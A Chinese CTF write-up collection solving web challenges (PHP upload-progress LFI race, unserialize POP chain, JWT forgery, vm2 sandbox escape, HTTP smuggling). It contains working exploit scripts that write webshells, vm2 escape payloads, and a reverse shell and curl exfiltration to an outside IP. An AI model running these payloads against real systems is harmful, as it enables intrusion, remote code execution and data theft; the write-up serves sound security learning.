session.auto_start:如果 session.auto_start=On ,则PHP在接收请求的时候会自动初始化 Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为 off。此时用户是可以自己定义 Session ID 的。比如,我们在 Cookie 里设置 PHPSESSID=ph0ebus ,PHP 将会在服务器上创建一个文件:/tmp/sess_ph0ebus"。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get("session.upload_progress.prefix")+由我们构造的 session.upload_progress.name 值组成,最后被写入 sess_ 文件里。

session.save_path:负责 session 文件的存放位置,后面文件包含的时候需要知道恶意文件的位置,如果没有配置则不会生成session文件

session.upload_progress_enabled:当这个配置为 On 时,代表 session.upload_progress 功能开始,如果这个选项关闭,则这个方法用不了

session.upload_progress_cleanup:这个选项默认也是 On,也就是说当文件上传结束时,session 文件中有关上传进度的信息立马就会被删除掉;这里就给我们的操作造成了很大的困难,我们就只能使用条件竞争(Race Condition)的方式不停的发包,争取在它被删除掉之前就成功利用

session.upload_progress_name:当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控

session.upload_progress_prefix:它+session.upload_progress_name 将表示为 session 中的键名

利用该漏洞点需要满足

目标环境开启了session.upload_progress.enable选项
发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段
请求的Cookie中包含Session ID

注意的是,如果我们只上传一个文件,这里也是不会遗留下Session文件的,所以表单里必须有两个以上的文件上传。

php session.upload_progress通用利用脚本

python 复制代码
import requests
from re import findall as re_findall
from base64 import b64encode
from threading import Thread

HOST = 'http://node4.anna.nssctf.cn:28463/'
PHPINFO_URL = HOST + 'phpinfo.php'
LFI_URL = HOST + 'index.php'
WEB_SHELL = b'<?php eval($_POST[cmd]);?>'


session_configures = {}
resp_text = re_findall('<td class="e">session\.(.*?)</td><td class="v">(.*?)</td>', requests.get(PHPINFO_URL).text)
list(map(lambda x : session_configures.update({x[0] : x[1]}), resp_text))
if session_configures['upload_progress.enabled'] != 'On':
    print('[-] Target is not vulnerable')
    exit(-1)

success = False

def request_phpinfo():
    exploit = f"<?php file_put_contents('/tmp/.shell.php', base64_decode('{b64encode(WEB_SHELL).decode()}')); echo md5('ccc');?>"
    data = {session_configures['upload_progress.name'] : exploit}
    cookies = {'PHPSESSID' : 'c'}
    files = {'files' : ('hello.txt', b'A' * 1024 * 1024)}
    while not success:
        requests.post(PHPINFO_URL, data=data, cookies=cookies, files=files)

def request_sess_file():
    global success
    data = {'file' : session_configures['save_path'] + '/sess_c'}
    while not success:
        resp = requests.get(LFI_URL, params=data)
        if '9df62e693988eb4e1e1444ece0578579' in resp.text:
            print('[+] The webshell was successfully written to /tmp/.shell.php')
            success = True

Thread(target=request_phpinfo).start()
Thread(target=request_sess_file).start()

修改一下

python 复制代码
import io
import requests
import threading
from cffi.backend_ctypes import xrange

sessid = '0'
target = 'http://node4.anna.nssctf.cn:28463/'
file = 'ph0ebus.txt'
f = io.BytesIO(b'a' * 1024 * 50)


def write(session):
    while True:
        session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_GET["cmd"]);?>'},
                     files={'file': (file, f)}, cookies={'PHPSESSID': sessid})


def read(session):
    while True:
        resp = session.post(
            f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system('cd /;ls;cat nssctfasdasdflag');")
        if file in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+]retry")
            # print(resp.text)


if __name__ == "__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in xrange(1, 30):
            threading.Thread(target=write, args=(session,)).start()
        for i in xrange(1, 30):
            threading.Thread(target=read, args=(session,)).start()
    event.set()

[FSCTF 2023]ez_php2

源码

php 复制代码
<?php
highlight_file(__file__);
Class Rd{
    public $ending;
    public $cl;

    public $poc;
    public function __destruct()
    {
        echo "All matters have concluded";
        die($this->ending);
    }
    public function __call($name, $arg)
    {
        foreach ($arg as $key =>$value)
        {

            if($arg[0]['POC']=="1111")
            {
                echo "1";
                $this->cl->var1 = "system";
            }
        }
    }
}


class Poc{
    public $payload;

    public $fun;

    public function __set($name, $value)
    {
        $this->payload = $name;
        $this->fun = $value;
    }

    function getflag($paylaod)
    {
        echo "Have you genuinely accomplished what you set out to do?";
        file_get_contents($paylaod);
    }
}

class Er{
    public $symbol;
    public $Flag;

    public function __construct()
    {
        $this->symbol = True;
    }

    public function __set($name, $value)
    {
        $value($this->Flag);
    }


}

class Ha{
    public $start;
    public $start1;
    public $start2;
    public function __construct()
    {
        echo $this->start1."__construct"."</br>";
    }

    public function __destruct()
    {
        if($this->start2==="11111") {
            $this->start1->Love($this->start);
            echo "You are Good!";
        }
    }
}


if(isset($_GET['Ha_rde_r']))
{
    unserialize($_GET['Ha_rde_r']);
} else{
    die("You are Silly goose!");
}
?> 

EXP

php 复制代码
<?php
class Rd{
    public $ending;
    public $cl;
    public $poc;
}
class Poc{
    public $payload = ['POC'=>'1111'];
    public $fun;
}
class Er{
    public $symbol;
    public $Flag;
}
class Ha{
    public $start;
    public $start1;
    public $start2;
}
$a = new Ha;
$b = new Poc;
$c = new Er;
$d = new Rd;


$a->start2 = "11111";
$a->start1 = $d;
$a->start = $b->payload;
$d->cl = $c;
$c->Flag = 'cat /flag';
echo serialize($a);

payload

O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:9:"cat /flag";}s:3:"poc";N;}s:6:"start2";s:5:"11111";}

[SCTF 2021]loginme

I don't know the age of the admin, can you tell me?By the way, admin's Password maybe the thing you want

xff,X-Clien-IP,X-Real-IP,x-remote-ip都代表本地,最后X-Real-IP成功进入

然后分析源码

关键代码

middleware

成功进入后跳转跳到route.Login

首先获取id,没有的话默认为1,然后将字符串形式的id转换为整数,如果转换失败,则id将被设置为1

structs.Users列表中查找与id匹配的用户,如果没有找到匹配项,则使用structs.Admin作为默认用户。

检查用户的年龄字段,如果为空,则从查询参数中获取age,如果仍然没有则使用默认值forever 18 (Tell me the age)

这里定义了一个结构体

然后有一个模板渲染

go 复制代码
tmpl, err := template.New("admin_index").Parse(html)

go语言模板渲染支持传入一个结构体的实例来渲染它的字段,就有可能造成信息泄露

而在go语言中使用的是{``{.name}}代表要应用的对象,所以可以让age={``{.Password}}

证实推断

[NSSRound#4 SWPU]ez_rce

啥也没有,抓包后发现apache版本为2.4.49 (Unix)

CVE-2021-41773(42013) Apache HTTP Server路径穿越漏洞复现_cve-2021-41773复现-CSDN博客

同时dirsearch也有提示

抓包修改

直接访问看不了,最后在run.sh中看到flag的真实位置

[WUSTCTF 2020]CV Maker

随意注册一个账号登录

文件上传

flag在环境变量中

[NSSRound#1 Basic]basic_check

PUT方法创建木马

[MoeCTF 2021]地狱通讯-改

直接给源码

python 复制代码
from flask import Flask, render_template, request, session, redirect, make_response
from secret import secret, headers, User
import datetime
import jwt

app = Flask(__name__)

@app.route("/", methods=['GET', 'POST'])
def index():
    with open("app.py", "r") as f:
        ctx = f.read()
    res = make_response(ctx)
    name = request.args.get('name', '')
    if 'admin' in name or name == '':
        return res
    payload = {
        "name": name,
    }
    token = jwt.encode(payload, secret, algorithm='HS256', headers=headers)
    res.set_cookie('token', token)
    return res

@app.route('/hello', methods=['GET', 'POST'])
def hello():
    token = request.cookies.get('token')
    if not token:
        return redirect('/', 302)
    try:
        name = jwt.decode(token, secret, algorithms=['HS256'])['name']
    except jwt.exceptions.InvalidSignatureError as e:
        return "Invalid token"
    if name != "admin":
        user = User(name)
        flag = request.args.get('flag', '')
        message = "Hello {0}, your flag is {1}".format(user, flag)
        return message
    else:
        return render_template('flag.html', name=name)

if __name__ == "__main__":
    app.run()

大致看一眼,刚学的jwt伪造

  1. index 路由:这个路由处理根路径 "/" 的请求,支持 GET 和 POST 方法。首先,它读取文件 "app.py" 的内容并将其作为响应返回。然后,从请求参数中获取名为 "name" 的值,如果该值包含 "admin" 或者为空字符串,将返回之前读取的 "app.py" 内容作为响应。否则,将使用提供的 "name" 构造一个 JWT 载荷(payload),然后使用指定的密钥 secret 和头部 headers 生成 JWT,将生成的 JWT 放入 cookie 中,最后将 "app.py" 内容作为响应返回。
  2. hello 路由:这个路由处理 "/hello" 路径的请求,同样支持 GET 和 POST 方法。首先,它尝试从请求的 cookie 中获取名为 "token" 的 JWT。如果没有找到 token,将重定向到根路径 "/". 如果找到 token,则尝试解码 JWT 并从中提取 "name" 字段的值。如果 JWT 验证失败(可能是因为签名不匹配),返回 "Invalid token"。
  3. 如果 "name" 字段不是 "admin",则创建一个 User 实例,然后从请求参数中获取名为 "flag" 的值(如果存在)。接下来,根据用户的信息构造一条欢迎消息,将 flag 值嵌入消息中,然后将这个消息作为响应返回。
  4. 如果 "name" 字段是 "admin",则渲染一个名为 "flag.html" 的模板,并传递 "name" 作为参数。

这里需要两个条件,secret和headers

用ssti漏洞带出这两个条件

创建一个用户

得到对应的jwt的值

token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMTIzIn0.pEkv9ha7ygfhxZay1tBtb48vjBzAW05Rw4-azvvefGA

拉出来看一下具体内容

带着token去访问

尝试ssti

{0.__class__.__init__.__globals__}

secret: u_have_kn0w_what_f0rmat_i5

headers: {'alg': 'HS256', 'typ': 'JWT'}

验证成功

将用户改为admin

将伪造好的jwt放入token重新发包访问hello路由得到flag

[HZNUCTF 2023 final]eznode

Nodejs vm/vm2沙箱逃逸_nodejs vm2-CSDN博客

vm沙箱逃逸初探 | XiLitter

提示尝试查看源码,最直观的就是node.js配置错误造成的源码泄露了,直接访问app.js获得页面源码

js 复制代码
const express = require('express');
const app = express();
const { VM } = require('vm2');

app.use(express.json());

const backdoor = function () {
    try {
        new VM().run({}.shellcode);
    } catch (e) {
        console.log(e);
    }
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    return merge({}, a);
}


app.get('/', function (req, res) {
    res.send("POST some json shit to /.  no source code and try to find source code");
});

app.post('/', function (req, res) {
    try {
        console.log(req.body)
        var body = JSON.parse(JSON.stringify(req.body));
        var copybody = clone(body)
        if (copybody.shit) {
            backdoor()
        }
        res.send("post shit ok")
    }catch(e){
        res.send("is it shit ?")
        console.log(e)
    }
})

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

学习一下相关知识

内置模块的函数

  1. require()

    javascript 复制代码
    const express = require('express');

    require()函数用于加载Node.js模块或文件。例如,require('express')加载了Express框架,使你能够使用其提供的功能。

  2. console.log()

    javascript 复制代码
    console.log(req.body);
    console.log(e);

    console.log()是Node.js中用于在控制台输出信息的函数,它通常用于调试目的。

  3. JSON.parse()JSON.stringify()

    javascript 复制代码
    var body = JSON.parse(JSON.stringify(req.body));

    JSON.parse()用于将JSON格式的字符串转换成JavaScript对象,而JSON.stringify()则将JavaScript对象转换成JSON字符串。在上面的例子中,JSON.stringify(req.body)将请求体转换成字符串,然后JSON.parse()又将其转换回对象,但这实际上是不必要的,因为req.body已经是一个对象。

  4. app.listen()

    javascript 复制代码
    app.listen(3000, function () {
        console.log('start listening on port 3000');
    });

    app.listen()是Express框架中的方法,用于启动HTTP服务器并监听特定的端口。在这个例子中,服务器将在3000端口上监听。

Express框架相关的函数

  1. app.use()

    javascript 复制代码
    app.use(express.json());

    app.use()是Express的中间件注册函数。在这个例子中,它注册了一个JSON解析中间件,使得服务器能够解析JSON格式的POST请求体。

  2. app.get()app.post()

    javascript 复制代码
    app.get('/', function (req, res) {});
    app.post('/', function (req, res) {});

    这些方法用于定义路由处理函数。app.get()定义了处理GET请求的路由,app.post()定义了处理POST请求的路由。req参数是请求对象,包含了客户端发送的所有信息;res参数是响应对象,用于向客户端发送数据。

自定义函数

  1. backdoor()

    javascript 复制代码
    const backdoor = function () {};

    这个函数尝试在一个沙箱环境中运行潜在的恶意代码,这是一个非常危险的操作,因为它可能允许远程代码执行。

  2. isObject()

    javascript 复制代码
    const isObject = obj => obj && obj.constructor && obj.constructor === Object;

    这个函数用于检查一个变量是否是普通的JavaScript对象。

  3. merge()

    javascript 复制代码
    const merge = (a, b) => {};

    这个函数用于合并两个对象,如果对象中有嵌套的对象,它会递归地进行合并。

  4. clone()

    javascript 复制代码
    const clone = (a) => {};

    这个函数用于创建一个对象的深拷贝,使用merge()函数实现。

传入一个json数据,经过json.parse函数解析,再通过clone()函数复制到copybody中

vm2会执行shellcode属性里面的内容,我们需要将该属性污染成vm2沙箱逃逸的payload即可执行命令,exp

json 复制代码
{"shit":"1","__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor('return this')().process.mainModule.require('child_process').execSync('whoami').toString();"}}
json 复制代码
(' + function(){
	TypeError.prototype.get_process = f=>f.constructor("return process")();
	try{
		Object.preventExtensions(Buffer.from("")).a = 1;
	}catch(e){
		return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()
json 复制代码
(' + function(){
	try{
		Buffer.from(new Proxy({}, {
			getOwnPropertyDescriptor(){
				throw f=>f.constructor("return process")();
			}
		}));
	}catch(e){
		return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()
json 复制代码
(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
    }
})()

没有回显,反斜杠转义,bash里面单引号不行就换双引号

json 复制代码
{"shit":1,"__proto__":{"shellcode":"let res = import('./app.js');res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/101.37.27.18/4444 0>&1\"').toString();"}}

[西湖论剑 2022]real_ez_node

app.js

js 复制代码
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var fs = require('fs');
const lodash = require('lodash')
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var index = require('./routes/index');
var bodyParser = require('body-parser');//解析,用req.body获取post参数
var app = express();
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({extended: false}));
app.use(cookieParser());
app.use(session({
  secret : 'secret', // 对session id 相关的cookie 进行签名
  resave : true,
  saveUninitialized: false, // 是否保存未初始化的会话
  cookie : {
    maxAge : 1000 * 60 * 3, // 设置 session 的有效时间,单位毫秒
  },
}));
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
// app.engine('ejs', function (filePath, options, callback) {    // 设置使用 ejs 模板引擎 
//   fs.readFile(filePath, (err, content) => {
//       if (err) return callback(new Error(err))
//       let compiled = lodash.template(content)    // 使用 lodash.template 创建一个预编译模板方法供后面使用
//       let rendered = compiled()

//       return callback(null, rendered)
//   })
// });
app.use(logger('dev'));
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', index);
// app.use('/challenge7', challenge7);
// catch 404 and forward to error handler
app.use(function(req, res, next) {
  next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
  // set locals, only providing error in development
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};

  // render the error page
  res.status(err.status || 500);
  res.render('error');
});

module.exports = app;

index.js

js 复制代码
var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{
  if (req.query.q) {
    console.log('get q');
  }
  res.render('index');
})
router.post('/copy',(req,res)=>{
  res.setHeader('Content-type','text/html;charset=utf-8')
  var ip = req.connection.remoteAddress;
  console.log(ip);
  var obj = {
      msg: '',
  }
  if (!ip.includes('127.0.0.1')) {
      obj.msg="only for admin"
      res.send(JSON.stringify(obj));
      return 
  }
  let user = {};
  for (let index in req.body) {
      if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }
    }
  res.render('index');
})

router.get('/curl', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:3000/?q=' + q
            try {
                http.get(url,(res1)=>{
                    const { statusCode } = res1;
                    const contentType = res1.headers['content-type'];
                  
                    let error;
                    // 任何 2xx 状态码都表示成功响应,但这里只检查 200。
                    if (statusCode !== 200) {
                      error = new Error('Request Failed.\n' +
                                        `Status Code: ${statusCode}`);
                    }
                    if (error) {
                      console.error(error.message);
                      // 消费响应数据以释放内存
                      res1.resume();
                      return;
                    }
                  
                    res1.setEncoding('utf8');
                    let rawData = '';
                    res1.on('data', (chunk) => { rawData += chunk;
                    res.end('request success') });
                    res1.on('end', () => {
                      try {
                        const parsedData = JSON.parse(rawData);
                        res.end(parsedData+'');
                      } catch (e) {
                        res.end(e.message+'');
                      }
                    });
                  }).on('error', (e) => {
                    res.end(`Got error: ${e.message}`);
                  })
                res.end('ok');
            } catch (error) {
                res.end(error+'');
            }
    } else {
        res.send("search param 'q' missing!");
    }
})
module.exports = router;

猜测是原型链污染,__proto__被过滤,使用constructor.prototype

访问/copy的ip被限制,通过访问/curl利用HTTP走私向/copy发送POST请求,然后污染原型链实现代码执行。curl路由只有q参数可控

{"shit":"1","__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor('return this')().process.mainModule.require('child_process').execSync('whoami').toString();"}}

POST道

python 复制代码
import urllib.parse
import requests

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 155

{"constructor.prototype.outputFunctionName":"x;global.process.mainModule.require('child_process').exec('curl 101.37.27.18:4444/`cat /flag.txt`');var x"}
'''.replace("\n", "\r\n")


def encode(data):
    tmp = u""
    for i in data:
        tmp += chr(0x0100 + ord(i))
    return tmp


payload = encode(payload)
print(payload)

r = requests.get('http://node4.anna.nssctf.cn:28807/curl?q=' + urllib.parse.quote(payload))
print(r.text)

[GFCTF 2021]ez_calc

题目提示

1.别想太复杂,试着传传其他数据类型
2.字符串的length和数组的length是不一样的。你能将自己的payload逃逸出来吗。注:本题所有提示都只针对登陆后的操作。

小写得是admin大写得是ADMIN。考点是toUpperCase函数进行大写转换的时候存在漏洞,也就是字符ı会变成I

这两个字符的"大写"是I和S。也就是说"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'。通过这个小特性可以绕过一些限制

同样的"K"的"小写"字符是k,也就是"K".toLowerCase() == 'k'.

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

admın/admin123

成功对接

源码在f12中可以看到

js 复制代码
let calc = req.body.calc;
let flag = false;
//waf
for (let i = 0; i < calc.length; i++) {
    if (flag || "/(flc'\".".split``.some(v => v == calc[i])) {
        flag = true;
        calc = calc.slice(0, i) + "*" + calc.slice(i + 1, calc.length);
    }
}
//截取
calc = calc.substring(0, 64);
//去空
calc = calc.replace(/\s+/g, "");

calc = calc.replace(/\\/g, "\\\\");

//小明的同学过滤了一些比较危险的东西
while (calc.indexOf("sh") > -1) {
    calc = calc.replace("sh", "");
}
while (calc.indexOf("ln") > -1) {
    calc = calc.replace("ln", "");
}
while (calc.indexOf("fs") > -1) {
    calc = calc.replace("fs", "");
}
while (calc.indexOf("x") > -1) {
    calc = calc.replace("x", "");
}

try {
    result = eval(calc);

}

eval(calc)产生命令执行

但是slice是从第四的元素开始替换,存在逻辑问题,可以逃逸前四个字符(任意值),会发现可以绕过这个判断实现逃逸

禁止了 x 不能有exec

require("child_process").spawn('sleep', ['3']);

calc[]=require('child_process').spawnSync('ls',['/']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

尝试读取文件,没有回显

calc[]=Object.values(require('child_process'))[5]('cat$IFS$9/G*').toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

写入静态文件读取

calc[]=Object.values(require('child_process'))[5]('cat$IFS$9/G*>a').toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

calc[]=require('child_process').spawnSync('nl',['p']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

[HDCTF 2023]YamiYami

三个按钮,一个个来

读取,php伪协议直接读,读flga和app.py时有过滤

读取环境变量

http://node4.anna.nssctf.cn:28745/read?url=file:///proc/1/environ

无疑是非预期解,这里要获取源码

urllib.request.urlopen可以直接接受urlencode的路径, 但是读本地文件时最前面的/要保留, 不能编码为%2F

因此,我们需要对/app/app.py进行二次编码,第一个/不能编码

得到

/%25%36%31%25%37%30%25%37%30%25%32%46%25%36%31%25%37%30%25%37%30%25%32%45%25%37%30%25%37%39

访问后得到源码

然后就是熟悉的session伪造

首先找到secret生成方式

python 复制代码
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)

读mac

/etc/passwd用来判断读取漏洞的存在
/etc/environment是环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况。
/etc/hostname/etc/hostname表示主机名。
/etc/issue指明系统版本。
/proc目录
/proc/[pid]查看进程
/proc/self查看当前进程
/proc/self/cmdline当前进程对应的终端命令
/proc/self/pwd程序运行目录
/proc/self/环境变量
/sys/class/net/eth0/address mac地址保存位

生成secret

python 复制代码
import random

if __name__ == '__main__':
    random.seed(0x0242ac02a812)
    print(str(random.random() * 233))
207.12851557558668
python flask_session_cookie_manager3.py encode -t "{'passport': 'Welcome To HDCTF2023'}" -s  "62.6539852098"

上传后通过/boogipop路由去访问响应文件即可

http://node4.anna.nssctf.cn:28540/boogipop?file=uploads/1.txt
相关推荐
JaneJiazhao几秒前
HTTPSOK:智能SSL证书管理的新选择
网络·网络协议·ssl
CXDNW几秒前
【网络面试篇】HTTP(2)(笔记)——http、https、http1.1、http2.0
网络·笔记·http·面试·https·http2.0
使者大牙1 分钟前
【大语言模型学习笔记】第一篇:LLM大规模语言模型介绍
笔记·学习·语言模型
~甲壳虫3 分钟前
说说webpack中常见的Plugin?解决了什么问题?
前端·webpack·node.js
As977_23 分钟前
前端学习Day12 CSS盒子的定位(相对定位篇“附练习”)
前端·css·学习
ajsbxi26 分钟前
苍穹外卖学习记录
java·笔记·后端·学习·nginx·spring·servlet
Rattenking27 分钟前
React 源码学习01 ---- React.Children.map 的实现与应用
javascript·学习·react.js
~甲壳虫35 分钟前
说说webpack中常见的Loader?解决了什么问题?
前端·webpack·node.js
~甲壳虫39 分钟前
说说webpack proxy工作原理?为什么能解决跨域
前端·webpack·node.js
无所谓จุ๊บ42 分钟前
树莓派开发相关知识十 -小试服务器
服务器·网络·树莓派